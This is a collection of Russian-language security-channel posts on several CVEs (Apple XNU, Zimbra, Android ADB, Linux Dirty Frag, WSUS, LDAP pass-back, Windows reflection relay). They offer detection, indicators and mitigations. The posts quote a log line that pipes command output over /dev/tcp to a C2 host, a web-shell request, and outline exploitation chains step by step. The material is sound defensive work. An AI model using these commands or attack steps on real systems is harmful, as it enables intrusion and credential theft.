Мы помогли Apple устранить уязвимость в ядре ее операционных систем

Эксперт PT ESC Михаил Ложников обнаружил недостаток, который мог вызвать внезапное завершение работы системы (сбой ядра) или повреждение памяти ядра (kernel memory corruption) в продукции компании Apple.

⚠️ Уязвимость PT-2026-76847 (CVE-2026-65330) получила средний уровень критичности — 6.5 по шкале CVSS 3.x.

Делимся подробностями

• Ошибка была обнаружена в BSD-подсистеме сетевого стека XNU (ядра macOS, iOS) в компоненте NECP (Network Extension Control Policy), который управляет правами доступа программ и приложений к сетевым интерфейсам.

• Для взаимодействия с NECP требуется процесс с привилегированными правами, подписанный цифровой подписью (platform-signed).

• При закрытии NECP-сессии ядро корректно освобождает domain-фильтры, но domain-trie (префиксное дерево доменов) остается в глобальном списке с указателем на уже освобожденную память сессии.

• При удалении trie по идентификатору (ID) ядро не проверяет владельца.

• Любая другая сессия может удалить чужое префиксное дерево, вследствие чего может произойти ошибка и ядро вызовет панику.

🍏 Скорее обновляйте ваши устройства

Apple уже выпустила исправление безопасности в iOS/iPadOS 26.6.1, macOS 26.6.2, tvOS 27, watchOS 27 и visionOS 27.

Подробная информация об исправлениях опубликована на официальных страницах Apple: macOS, iOS и iPadOS, tvOS, watchOS и visionOS.

#cve #ir #ios #macos
@ptescalator

Дисклеймер: если вы используете неактуальную версию ПО Zimbra и не обнаружили на своем почтовом сервере приведенных ниже индикаторов компрометации конкретной кампании шифровальщика TargetZimbra, то это не значит, что ваш сервер гарантированно не скомпрометирован. Уязвимость CVE-2026-73570 может использоваться другими злоумышленниками, например, для установки майнеров, а также APT-группировками, нацеленными на компрометацию инфраструктуры всей организации.

Уязвимость CVE-2026-73570 позволяет атакующему осуществлять внедрение и выполнение вредоносных команд на почтовом сервере Zimbra с правами пользователя zimbra без предварительной аутентификации в результате недостаточной санации ввода в компоненте SNMP.

Для успешной эксплуатации на почтовом сервере должна быть установлена версия ПО Zimbra Collaboration Suite ниже 10.1.20, а также установлен пакет zimbra-snmp и включены SNMP-уведомления. Уязвимость эксплуатируется в результате отправки специально сформированного SMTP-запроса через порты 25, 465 или 587.

👀 Сценарий атаки:

1. В результате эксплуатации уязвимости CVE-2026-73570 злоумышленники создают на почтовом сервере файл /opt/zimbra/jetty_base/webapps/zimbra/public/version.txt (или versions.txt), содержащий сведения об используемой на сервере версии ПО Zimbra. Созданный файл является для атакующего индикатором успешной эксплуатации уязвимости.

2. На следующем этапе злоумышленники загружают JSP-шеллы в директорию почтового сервера /opt/zimbra/jetty_base/webapps/zimbra/public/. Кроме того, зафиксировано внедрение на сервер хакерского инструмента Gsocket. Ранее мы уже писали подробную заметку о том, как детектировать инструмент Gsocket.

3. Далее злоумышленники загружают шифровальщик TargetZimbra, написанный на языке Go. После запуска указанный вредоносный модуль шифрует файлы с использованием алгоритма ChaCha20 в каталоге /opt/zimbra/ и его подкаталогах.

4. После шифрования файлов шифровальщик изменяет их расширение на .elock, а также создает в зашифрованных директориях файлы !README_RECOVER.txt, содержащие контактную информацию и сведения для выкупа расшифровки данных. По окончании работы вредоносный модуль TargetZimbra удаляет себя из системы.

📫 Как проверить ваш почтовый сервер Zimbra на предмет наличия признаков компрометации?

1. В основном системном журнале почтовой службы /var/log/maillog записи, содержащие подстроку changed from stopped to, перед которой записана shell-команда или иная подозрительная нагрузка, являются признаком эксплуатации уязвимости CVE-2026-73570.

Для поиска вредоносных событий на вашем сервере может использоваться следующая команда: grep "changed from stopped to" /var/log/maillog

Пример выполнения команды id и передачи ее вывода на С2-сервер злоумышленников:

Aug 29 14:23:46 zimbra-server postfix/submission/smtpd[108829]: improper command pipelining after EHLO from unknown[[REDACTED_IP_1]]: : Service status change: h ;id>/dev/tcp/[REDACTED_IP_2]/1337; changed from stopped to running\r\nQUIT\r\n  

- время эксплуатации уязвимости: 29 августа 2026 года в 14:23:46; 
- [REDACTED_IP_1]: С2 адрес злоумышленников; 
- id>/dev/tcp/[REDACTED_IP_2]/1337: команда для выполнения на системе.

2. Наличие нестандартных JSP-файлов, которые не относятся к ПО Zimbra и были созданы либо изменены за последние месяцы в каталоге /opt/zimbra/jetty_base/webapps/zimbra/ и во всех его подкаталогах. Характерными признаками вредоносных JSP-файлов являются наличие обфусцированного кода, закодированных строк, а также нетипичная обработка GET- и POST-запросов.

Для поиска недавно созданных или измененных JSP-файлов на вашем сервере могут использоваться следующие команды:

find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname '*.jsp' -newermt '2026-07-01' (поиск по дате изменения файла)

find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname '*.jsp' -newerBt '2026-07-01' (поиск по дате создания файла)

Обратите внимание, что не все файловые системы Linux хранят дату создания файла. Если система не отслеживает указанную метку, то команда find выдаст ошибку.

Также проверьте сервер антивирусными средствами.

3. В журнале доступа WEB-сервера (например, для WEB-сервера Nginx стандартное расположение /var/log/nginx/access.log) записи об обращении к нестандартным JSP-файлам (с кодом ответа 200), расположенным в каталоге /opt/zimbra/jetty_base/webapps/zimbra/ и во всех его подкаталогах (в частности, часто используемый каталог /opt/zimbra/jetty_base/webapps/zimbra/public/), могут свидетельствовать о наличии WEB-shell'ов на почтовом сервере. Если WEB-shell получает команды через GET-запрос, то передаваемая команда будет отображена в журнале.

Пример вывода результата выполнения команды ls в браузер атакующего:

[REDACTED_IP] - - [29/Aug/2026:12:41:35 +0000] GET /public/bzng.jsp?p=ls HTTP/1.0 200 443 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 34889  

- [REDACTED_IP]: С2 адрес злоумышленников; 
- [29/Aug/2026:12:41:35 +0000]: время обращения к WEB-shell; 
- public/bzng.jsp: расположение WEB-shell; 
- ls: выполняемая команда.

Кроме того, исследуя сетевую инфраструктуру злоумышленников, мы обнаружили WEB-панели платформы CyberStrikeAI, размещенные на нескольких С2-серверах (скриншоты 1 и 2).

CyberStrikeAI — открытая платформа, предназначенная для автоматизации тестирования на проникновение с использованием ИИ.

Наличие работающей платформы на С2-сервере злоумышленников может указывать на ее применение как на отдельных этапах атаки (например, первоначальной компрометации сервера), так и в рамках всего инцидента.

💡 Рекомендуем:

1. Обновить ПО Zimbra на вашем почтовом сервере до актуальной версии. В идеале также переустановить ОС сервера с переносом всех почтовых данных.

2. В случае невозможности быстрого обновления ПО временным решением может быть отключение SNMP-уведомлений и удаление пакета zimbra-snmp.

3. Кроме того, проверьте почтовый сервер антивирусными средствами, а также вручную посмотрите нестандартные JSP-файлы, созданные за последние месяцы в служебных каталогах Zimbra.

Файловые индикаторы компрометации:

/opt/zimbra/jetty_base/webapps/zimbra/public/version.txt или versions.txt — файл, содержащий версию ПО Zimbra;

/opt/zimbra/jetty_base/webapps/zimbra/public/[Filename].jsp — WEB-shell;

/opt/zimbra/log/defunct — Gsocket;

elockc[a-z] (например, elockcl) — шифровальщик;

runloop.sh — скрипт, создаваемый шифровальщиком;

!README_RECOVER.txt — записка злоумышленников;

*.elock — файлы с расширением .elock.

Сетевые индикаторы компрометации:

135.136.63.63
139.28.49.138
146.70.169.246
193.24.211.91
193.32.126.168
31.177.110.136
37.32.73.156
64.62.156.162
64.62.156.222
64.62.156.94
88.214.21.183
89.116.171.182
89.117.94.35

Gsocket:

*.gs.thc.org
gsocket.io
152.53.173.29
152.53.173.30
176.65.149.52
212.132.98.170
217.154.53.116
217.154.53.187
45.90.4.121
45.90.4.128
51.91.190.241
51.91.190.242

#IR #CVE #Malware #detect #dfir #ioc
@ptescalator

В начале мая на устройствах Android была обнаружена уязвимость CVE-2026-0073, которая позволяет удаленно выполнять команды на мобильном устройстве без подтверждения со стороны пользователя.

Уязвимы устройства с Android 11 и выше, на которых включена функция отладки по Wi-Fi.

Функция отладки по Wi-Fi является легитимной — она позволяет подключаться к мобильному устройству для установки, тестирования приложений и создания резервных копий (скриншот 1). Для использования этой функции необходимо осуществить сопряжение с ПК и подтвердить доверенные связи. CVE-2026-0073 дает возможность пропустить этап подтверждения связей и сразу взаимодействовать с устройством.

🧐 Мы решили изучить, как далеко может зайти злоумышленник при эксплуатации данной CVE.

Схема заражения устройства:

1️⃣ Пользователь с включенной отладкой по Wi-Fi подключается к незащищенной Wi-Fi-сети.

2️⃣ Злоумышленник, находясь в этой же сети, сканирует ее на наличие адресов с открытыми портами для отладки по ADB (скриншот 2).

3️⃣ Проэксплуатировав CVE-2026-0073, злоумышленник получает доступ к командной строке мобильного устройства и может выполнять различные команды на устройстве (скриншот 3):

➖ получать доступ к спискам контактов, звонков, SMS-сообщений и установленных приложений;
➖ удалять и устанавливать приложения без ведома пользователя;
➖ повышать привилегии установленного приложения, выдав ему специальные разрешения на устройстве: специальные возможности (Accessibility Services) и доступ к уведомлениям (Notification Access).

Получив необходимые данные, злоумышленник может удалить легитимное приложение на устройстве и заменить его на приложение с вредоносными функциями (скриншот 4).

4️⃣ Происходит кража пользовательских данных и их отправка на серверы злоумышленников.

Почему так происходит?

1️⃣ Уязвимость находится в демоне Android Debug Bridge — adbd: в функции проверки TLS-сертификатов adbd_tls_verify_cert в auth.cpp.

2️⃣ Атака затрагивает режим Wireless Debugging / ADB-over-TCP, где подключение между ПК и устройством строится через mutual TLS: Android проверяет клиентский сертификат подключающегося хоста.

3️⃣ В нормальном режиме adbd сравнивает публичный ключ сертификата клиента с ранее доверенным ключом, сохраненным после ADB pairing.

4️⃣ Ошибка возникает из-за неправильной обработки результата функции EVP_PKEY_cmp: код считает любое ненулевое значение успешным совпадением ключа.

5️⃣ Злоумышленник подменяет TLS-сертификат, используя ключ другого типа (например, EC/Ed25519 вместо RSA). В таком случае EVP_PKEY_cmp возвращает -1 («разные типы ключей»), но уязвимый код воспринимает это как успешную проверку.

6️⃣ Происходит обход mutual TLS-аутентификации: adbd ошибочно считает атакующего доверенным ADB-хостом.

7️⃣ После обхода проверки атакующий получает удаленный доступ к ADB shell без взаимодействия с пользователем устройства.

Для успешной эксплуатации уязвимости необходимо, чтобы устройство хотя бы раз подключалось к какому-либо хосту и в списке доверенных устройств хранился хотя бы один публичный ключ.

🛠 Как защитить ваши устройства:

1️⃣ Выключайте функцию отладки по Wi-Fi, когда она не используется. Ввиду особенности эксплуатации CVE-2026-0073 подвержены только устройства с включенной отладкой по Wi-Fi. Эта функция по умолчанию выключена, поэтому у обычных пользователей риск минимален.

2️⃣ Не включайте отладку по Wi-Fi в недоверенных сетях.

3️⃣ Устанавливайте обновления ОС на постоянной основе: патчи безопасности за май 2026 уже доступны на многих устройствах.

4️⃣ Настройте безопасность рабочей и личной Wi-Fi-сети: изолируйте клиентов и заблокируйте доступ по недоверенным портам.

5️⃣ Будьте внимательны к уведомлениям, которые приходят на ваше устройство. При подключении к отладке по Wi-Fi на экране устройства появляется уведомление о подключении стороннего устройства (скриншот 5).

Внимание к деталям сделает ваши устройства безопаснее.

#dfir #mobile #android #CVE
@ptescalator

Спустя неделю после нашумевшего Copy.Fail исследователь v4bel раскрыл новую технику повышения привилегий в ядре Linux — Dirty Frag.

По состоянию на 8 мая у Dirty Frag нет CVE-номера и, что более критично, официального патча от мейнтейнеров ядра тоже нет. Dirty Frag относится к тому же классу, что Dirty Pipe и Copy.Fail, но использует другой механизм: вместо pipe_buffer атакуется структура sk_buff.

Общие механизмы работы позволяют надежно блокировать эксплойт поведенческой экспертизой в PT Sandbox (Exploit.Linux.CVE-2022-0847.a, Exploit.Linux.CVE-2026-31431.a, Backdoor.Linux.Generic.a) — смотрите на скриншоте.

Как это работает? 🧐

Dirty Frag — это цепочка из двух уязвимостей, которые дополняют друг друга, чтобы охватить все основные дистрибутивы:

1️⃣ Page-Cache Write (с 2017 года): предоставляет возможность для записи 4 байт в кэш страниц, но требует права на создание пользовательских пространств имен, что в некоторых системах (например, Ubuntu) может блокироваться AppArmor.

2️⃣ RxRPC Page-Cache Write (с июня 2023 года): не требует прав на пространства имен, но модуль rxrpc.ko присутствует только в некоторых дистрибутивах, включая Ubuntu, где он загружен по умолчанию.

Объединив их, атакующий получает рабочий эксплойт на любой системе, что позволяет:

• Подменить suid-файлы (например, /usr/bin/su) на свою версию
• Изменить /etc/passwd, очистив пароль root-пользователя

Кто под угрозой? ⛳️

Практически все системы с ядром Linux, выпущенные с 2017 года. Исследователь подтвердил работу эксплойта на следующих версиях: Ubuntu 24.04.4, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44 и других.

Как защититься? 🔧

Так как официального патча от мейнтейнеров ядра пока нет, единственный способ защиты — немедленно отключить и выгрузить уязвимые модули ядра.

Команда для отключения:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

Некоторые дистрибутивы (например, AlmaLinux) начали выпускать собственные патчи, не дожидаясь апстрима.

UPD: уязвимость получила идентификатор — CVE-2026-43284, патч добавлен в код ядра (f4c50a4034e6).

#avlab #cve #linux #sandbox
@ptescalator (X, Max)

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf

rmmod algif_aead 2>/dev/null

Одной из самых актуальных уязвимостей в Windows Server Update Services (WSUS) стала критическая ошибка с идентификатором CVE-2025-59287 и оценкой CVSS 9.8. Она связана с десериализацией недоверенных данных в службе обновления Windows Server и позволяет неавторизованному удаленному злоумышленнику выполнить код на сервере, отправив специально сформированное событие.

В разборах эксплуатации шаги были указаны некорректно, так как их взяли из статьи. Однако позже авторы сами ее исправили и указали, что разбор относится к CVE-2023-35317, тогда как анализ CVE-2025-59287 перенесли в отдельную статью.

Это вызвало путаницу в многочисленных репостах, поэтому мы решили расставить все точки над i и заодно показать, как атакующий может восстановить оснастку после эксплуатации уязвимости.

❗️ Напомним технические детали эксплуатации

Условия для эксплуатации:

• Сервер Windows с включенной ролью WSUS Server (по умолчанию отключена)
• Неустановленные обновления KB5070879 / KB5070881 / KB5070882 / KB5070883 / KB5070884 / KB5070886 / KB5070887
• Сетевой доступ к портам 8530 (HTTP) или 8531 (HTTPS)
• Учетные данные не требуются

Техническая цепочка эксплуатации:

1️⃣ Получение конфигурации — злоумышленник отправляет запрос к /ReportingWebService/ReportingWebService.asmx для получения ServerID (скриншот 1)

2️⃣ Извлечение cookies — используя ServerID, выполняется запрос к /SimpleAuthWebService/SimpleAuth.asmx для получения AuthorizationCookie (скриншот 2)

3️⃣ Получение криптографических данных — запрос к /ClientWebService/Client.asmx для извлечения временных меток и зашифрованной нагрузки (скриншот 3)

4️⃣ Доставка полезной нагрузки — финальный запрос отправляет событие с вредоносным сериализованным объектом, созданным через ysoserial.net с гаджетом TextFormattingRunProperties, с использованием события SynchronizationCompletedCancel (скриншот 4)

При обработке события с ID 389 (SynchronizationCompletedCancel) WSUS пытается десериализовать XML с телом ошибки, что приводит к выполнению произвольного кода.

Также в процессе эксплуатации регистрируется ложный узел с указанным DNS, в рамках которого отправляется событие. Этот процесс легко автоматизировать — например, с помощью шаблона Nuclei (скриншот 5). Восстановление оснастки после тестирования — на скриншоте 6.

🗿 После успешной эксплуатации оснастка WSUS ломается. Это происходит потому, что GUI при отображении узлов парсит их события, а у ложного узла событие повреждено и не поддается десериализации. В результате отображение узлов вызывает исключение и интерфейс перестает работать.

Для восстановления необходимо удалить вредоносное событие из таблицы tbEventInstance в базе данных SUSDB. Однако прямой доступ к БД есть только у привилегированных пользователей, а служба WSUS часто запущена от имени Network Service.

При этом служба WSUS имеет доступ к функциям, используемым в оснастке, поэтому пользователь, от имени которого получена сессия (даже Network Service), может управлять зарегистрированными узлами. Это позволяет безопасно завершить эксплуатацию и сразу восстановить оснастку.

$wsus = Get-WsusServer

Get-WsusComputer -NameIncludes "test1337.test.local" | ForEach-Object {
    $wsus.GetComputerTarget($_.Id).Delete()
}

Эта команда выполняет две важные функции:

• Удаляет зарегистрированный ложный узел из базы данных WSUS
• Автоматически очищает связанное с ним событие с ID 389, использованное для доставки полезной нагрузки

🧐 Почему это важно: без очистки в WSUS остаются артефакты — ложный узел и события в логах, что может нарушить нормальную работу службы.

Эта уязвимость демонстрирует, как критические компоненты инфраструктуры могут становиться точкой входа для злоумышленников. При проведении тестирования на проникновение важно не только атаковать, но и корректно восстанавливать систему после эксплуатации.

Рекомендации по защите

• Установите обновления — KB5070879 / KB5070881 / KB5070882 / KB5070883 / KB5070884 / KB5070886 / KB5070887 в зависимости от версии Windows Server

• Ограничьте сетевой доступ — WSUS не должен быть доступен из интернета. Используйте сегментацию сети для ограничения доступа только доверенным подсетям

• Если невозможно обновить — временно отключите роль WSUS Server или заблокируйте порты 8530 / 8531 до установки патчей

#offensive #nuclei #wsus #cve
@ptescalator (X, Max)

weggli -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_)"

weggli.exe -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_(_-_))"

weggli -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_($a->$b))

Есть целый класс уязвимостей, которые на первый взгляд выглядят безобидно, и даже уровень опасности у них низкий или средний. Но если разобраться в нюансах, то все уже не кажется таким безобидным.

Примером такой уязвимости является LDAP Pass Back (CVE-2024-32122), которую зарегистрировал ведущий специалист отдела наступательной безопасности PT ESC Владислав Дриев совместно со специалистом по анализу защищенности УЦСБ Олегом Лабынцевым.

Эта уязвимость позволяет получить учетные данные (УД) от LDAP в открытом виде (зачастую это УЗ AD), злоумышленнику нужно лишь частично изменить конфигурацию коннектора. Уязвимость встречается в разных видах и в самых разных устройствах и программных продуктах.

Атакующий может получить УД в открытом виде или в виде хеша с захваченного устройства или софта. Ярким примером таких устройств, конечно, являются МФУ, но точно не ограничиваемся только ими. Уязвимыми также могут быть домофоны, камеры, сетевое оборудование. Если говорить про ПО, то чаще всего это CMS.

В чем конкретно проблема 🤔

Проблема в том, что атакующий может влиять на конфигурацию устройства, в которой есть УД. Чтобы было еще понятнее, приведем пример. Настроили МФУ, чтобы оно могло отправлять сообщения по SMTP на почту, также настроили аутентификацию по LDAP, чтобы динамически загружался список контактов, а еще — SMB, чтобы сразу можно было складывать отсканированные документы в сетевую папку.

Далее рассмотрим ситуацию, когда атакующий смог получить доступ к веб-интерфейсу с помощью УД по умолчанию. В таком случае он может попробовать изменить IP-адрес конфигурации, которая содержит УД, поменяв в ней IP-адрес на подконтрольный ему. Что это даст и почему это вообще возможно? Опыт показывает, что в большинстве случаев смена только IP-адреса в конфигурации разрешена. Соответственно, УД будут использованы валидные. Таким образом, злоумышленник сможет получить обращение с корректными учетными данными на свой IP-адрес, где сможет достать их из трафика либо в открытом виде, либо в виде хеша.

• SMTP (без TLS) зачастую позволяет получить УД в открытом виде.
• LDAP позволяет получить данные в открытом виде.
• SMB позволяет получить хеш (часто NetNTLMv1, с которого можно выполнить NTLM Relay).
• другое (УД для IP-телефонии, которые обернуты в Base64).

Что здесь небезопасного, ведь доступ ко всем конфигам скрыт за аутентификацией? Да, но не всегда все так. Способы получения доступа к конфигурациям:

• УД по умолчанию.
• IDOR (выделен отдельно от уязвимостей, потому что встречается часто).
• Уязвимость для получения доступа к веб-интерфейсу администратора.

Еще есть случаи, когда на устройстве работает несколько администраторов, у них разные роли, но при этом каждый может получить доступ к УД коннекторов через такой нехитрый способ.

Так или иначе атакующий получит доступ к устройству. После этого скомпрометирует УД и начнет развивать атаки на смежные сервисы, в частности на AD. Кроме того, среди этого всего бывают уникальные и выдающиеся случаи:

• CMS работает с учетной записью администратора домена.
• МФУ работает с учетной записью администратора домена.

В итоге уязвимость низкого или среднего уровня опасности может стать звеном в цепочке компрометации всей инфраструктуры.

Итак, как этого избежать 🧐

Самый простой способ — при любом изменении конфигурации УД запросить ввести их заново. Если конфигурацию меняет администратор, для него это не будет проблемой. А если атакующий, то он ничего не получит. Понятно, что на софт не всегда можно повлиять, тогда перед тем, как войти под своей УЗ на какое-то новое устройство, можно самостоятельно проверить, как оно ведет себя с разными конфигурациями, нет ли возможности извлечь УД из него.

Более того, такие УЗ следует ограничивать в правах, брать на мониторинг. Если от имени УЗ началась разведка в домене — это явный признак компрометации устройства. Ну и конечно, нужно защищать устройства и ПО: менять пароли по умолчанию, регулярно устанавливать обновления.

#CVE #offensive
@ptescalator

1️⃣ Отслеживать DNS-запросы с Marshalled-суффиксом

В атаках Reflection Relay злоумышленник вынуждает службы выполнять DNS-запросы к поддельным именам с паттерном 1UWhRCA + 37–45 символов Base64. Записи вида srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.example.com или localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.example.com — индикаторы попытки Reflection Relay (NTLM, Kerberos).

• Что мониторить

Все DNS-запросы, где имя узла заканчивается на marshalled-часть (1UWhRCA + 37-45 символов Base64).

• События

Sysmon Event ID 22 (DNS-запросы на узлах).

События DNS-серверов, содержащие такие запросы.

2️⃣ Ловить LDAP-поиск с marshalled-суффиксом

Reflection Relay вызывает LDAP-запросы от атакуемого узла к контроллеру домена, в которых параметр name= содержит поддельное DNS-имя формата [имя_узла]1UWhRCA[Base64]. Это происходит при выполнении Relay-атаки обратно на жертву.

• Что мониторить:

Запросы LDAP, в которых параметр name= содержит конструкцию:
"[имя_хоста]1UWhRCA[символы Base64]"

• События:

Windows Security Event 1644 ("A search was performed in Active Directory") на контроллерах домена.

3️⃣ Знать механику CVE-2025-33073 и Coerce-атаки

Как работает уязвимость:

• Coerce-атаки (PetitPotam, PrinterBug) вынуждают жертву подключиться к поддельному DNS-имени.
• Windows ошибочно считает запрос локальным из-за marshalled-суффикса, отключая проверки NTLM и Kerberos.
• Это позволяет атакующему выполнить Relay сессии обратно на жертву для получения RCE с правами SYSTEM.

Примеры Coerce-атак:

• PetitPotam: принуждение через уязвимость в EFS RPC, заставляющее LSASS инициировать аутентификацию;
• PrinterBug: принудительная отправка NTLM-хешей через уязвимость в службе печати Windows (MS-RPRN).

4️⃣ Опираться на примеры сработавших правил корреляции

При реализации CVE-2025-33073 совместно с PetitPotam для дампа учетных данных сработали следующие правила корреляции:

• Coerce_Auth: правило обнаруживает Coerce-атаки на узел с целью перехвата хеша машинной учетной записи атакованного узла, а также пытается определить по названию используемого пайпа, какая техника атаки используется (netdfs = DFSCoerce; spoolss = PrinterBug; fssagentrpc = ShadowCoerce; efsrpc, lsarpc, samr, lsass, netlogon = PetitPotam; msftewds = WSPCoerce) и какой инструмент применяется.

• SVCCTL_Connection: правило обнаруживает подключение к именованному каналу svcctl, который ответственен за удаленное конфигурирование служб Windows на узлах через Service Control Manager, что может привести к выполнению произвольного кода;

• Remote_Password_Dump: правило обнаруживает удаленный дамп паролей через обращение к именованному каналу WINREG.

5️⃣ Использовать примеры SIGMA-правил

Если у вас нет MaxPatrol SIEM, то вот вам пример простых SIGMA-правил:

Для Sysmon Event ID 22.

Для Windows Security Event 1644.

6️⃣ Использовать наши публичные Suricata-сигнатуры для обнаружения этой атаки

#detect #cve #win #sigma #rules
@ptescalator

• Учетная запись в домене с самыми рядовыми привилегиями.
• На атакуемом устройстве не настроено принудительное требование подписи SMB.
• На атакуемом устройстве не стоит патч, устраняющий уязвимость CVE-2025-33073, который был выпущен в июне 2025 года.

И дополнительно одно из двух:

• Либо возможность регистрации DNS-записи в домене (по умолчанию могут все пользователи домена).
• Либо нахождение в одной широковещательной сети с атакуемым устройством (проведение атаки NBNS, LLMNR и mDNS-спуфинга).

Рассмотрим два варианта эксплуатации с дампом локальных учетных данных из SAM и SECURITY.

1️⃣ Первый вариант с DNS-записью (скриншот 1):

1. Атакующий регистрирует DNS-запись формата localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

2. Атакующий выполняет Coerce-атаку на устройство без SMB Signing.

3. Устройство разрешает имя по DNS, в котором получает IP-адрес атакующего.

4. Устройство проходит аутентификацию на сервере атакующего.

5. Атакующий выполняет Relay-атаку на это же устройство, получает аутентифицированную сессию с правами SYSTEM.

2️⃣ Второй вариант со спуфингом (скриншот 2):

1. Атакующий запускает спуфинг с ответом на имя хоста localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

2. Атакующий выполняет Coerce-атаку на устройство в локальной сети.

3. Устройство пытается разрешить имя по DNS, не находит его и переходит к многоадресным протоколам.

4. Атакующий сообщает устройству, что имя принадлежит ему.

5. Устройство проходит аутентификацию на сервере атакующего.

6. Атакующий выполняет Relay-атаку на это же устройство, получает аутентифицированную сессию с правами SYSTEM.

Вместо вывода хочется подчеркнуть, что эта уязвимость стала результатом многолетних исследований нескольких специалистов и, вероятно, кем-то она могла быть обнаружена и использована ранее. Никто не знает, сколько еще таких уязвимостей будет обнаружено. Но в этом случае, как и в большинстве других, применив лучшие практики по защите заранее, можно избежать серьезных последствий при появлении подобных уязвимостей даже без установки обновления.

Рекомендации по защите от уязвимости:

• Установите обновления безопасности от 10 июня 2025 года.

• Настройте принудительное требование подписи SMB для SMB-служб контроллеров и рабочих станций.

В следующих постах расскажем, как детектить уязвимость 😉

#cve #win #offensive
@ptescalator